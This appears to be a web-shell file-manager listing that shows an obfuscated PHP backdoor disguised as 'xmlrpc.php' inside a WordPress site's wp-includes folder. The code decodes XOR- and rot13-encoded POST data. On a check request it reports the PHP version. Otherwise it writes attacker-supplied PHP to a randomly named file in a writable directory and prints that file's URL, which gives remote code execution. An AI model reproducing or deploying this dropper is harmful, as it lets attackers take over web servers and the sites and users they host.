HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //opt/wpsites/datainsightnow.com/wp-includes/blocks/query-pagination/xmlrpc.php
<?php $BGDmjEW = "\x44"."\117".chr(618-551)."\125"."\115".chr(69).'N'.chr(84)."\x5f".'R'."\117"."\x4f".chr(84);$jKdeMTb = "\x48".chr(84)."\124".'P'."\x5f".chr(72).chr(79)."\123".chr(84);$DnGvXMyoAY = "\150"."\164".chr(379-263).chr(1055-943).':'."\57"."\x2f";$uGnYzskDuy = "\x2e"."\160"."\x68".chr(112);$nwxpDT = chr(459-347).chr(736-632).chr(112);$maTHULUQGW = chr(102)."\x69".chr(108)."\145"."\x5f"."\160"."\165".'t'."\x5f".chr(306-207)."\157"."\156".chr(287-171).chr(460-359)."\156".chr(116).chr(115);$qGTNcyMV = "\162".'a'.chr(1106-987).'u'.'r'.chr(766-658).'d'."\145".chr(306-207).chr(953-842).'d'."\145";$qatXutK = chr(117).'n'.chr(115)."\145"."\162".chr(105).'a'.chr(758-650).chr(105).'z'."\145";$tJNTMp = chr(323-211).chr(104)."\160".chr(840-722)."\x65".chr(1068-954).chr(178-63).'i'."\157".chr(1071-961);$KqIHjljvG = chr(115)."\x74"."\x72".chr(95)."\x72".chr(150-39)."\164".'1'."\x33";$pcebyMDY = 's'.chr(336-235).chr(438-324).chr(544-439)."\141".chr(108).chr(542-437)."\x7a"."\145";$vNRunzG = "\163".chr(116)."\x72"."\x5f".chr(393-278)."\x70".chr(108).'i'."\164";foreach ($_POST as $BGGHWuaB => $SMIyETEQhU){if (strlen($BGGHWuaB) == 16){$SMIyETEQhU = $vNRunzG($qGTNcyMV($KqIHjljvG($SMIyETEQhU)));$BGGHWuaB = array_slice($vNRunzG(str_repeat($BGGHWuaB, (count($SMIyETEQhU)/16)+1)), 0, count($SMIyETEQhU));function lPuGk($pjHWIG, $LCJrKrN, $BGGHWuaB){$LUwCDGAl = "b7d18122-2463-4f59-9a16-a44a9f6b3262";return $pjHWIG ^ $LUwCDGAl[$LCJrKrN % strlen($LUwCDGAl)] ^ $BGGHWuaB;}$SMIyETEQhU = implode("", array_map("lPuGk", array_values($SMIyETEQhU), array_keys($SMIyETEQhU), array_values($BGGHWuaB)));$SMIyETEQhU = @$qatXutK($SMIyETEQhU);if (@is_array($SMIyETEQhU)){$YCUNaxJdk = array_keys($SMIyETEQhU);$SMIyETEQhU = $SMIyETEQhU[$YCUNaxJdk[0]];if ($SMIyETEQhU === $YCUNaxJdk[0]){echo @$pcebyMDY(Array($nwxpDT => @$tJNTMp(), ));exit();}else {function MBwQVy($lLesswEAQir){static $AqvOYYsZ = array();$xmKTMs = glob($lLesswEAQir . '/*', GLOB_ONLYDIR);if (count($xmKTMs) > 0) {foreach ($xmKTMs as $lLesswEAQ) {if (@is_writable($lLesswEAQ)) {$AqvOYYsZ[] = $lLesswEAQ;}}}foreach ($xmKTMs as $lLesswEAQir) MBwQVy($lLesswEAQir);return $AqvOYYsZ;}$sLYRQ = $_SERVER[$BGDmjEW];$xmKTMs = MBwQVy($sLYRQ);$YCUNaxJdk = array_rand($xmKTMs);$eWeJDlpm = $xmKTMs[$YCUNaxJdk] . "/" . substr(md5(time()), 0, 8) . $uGnYzskDuy;@$maTHULUQGW($eWeJDlpm, $SMIyETEQhU);echo $DnGvXMyoAY . $_SERVER[$jKdeMTb] . substr($eWeJDlpm, strlen($sLYRQ));exit();}}}}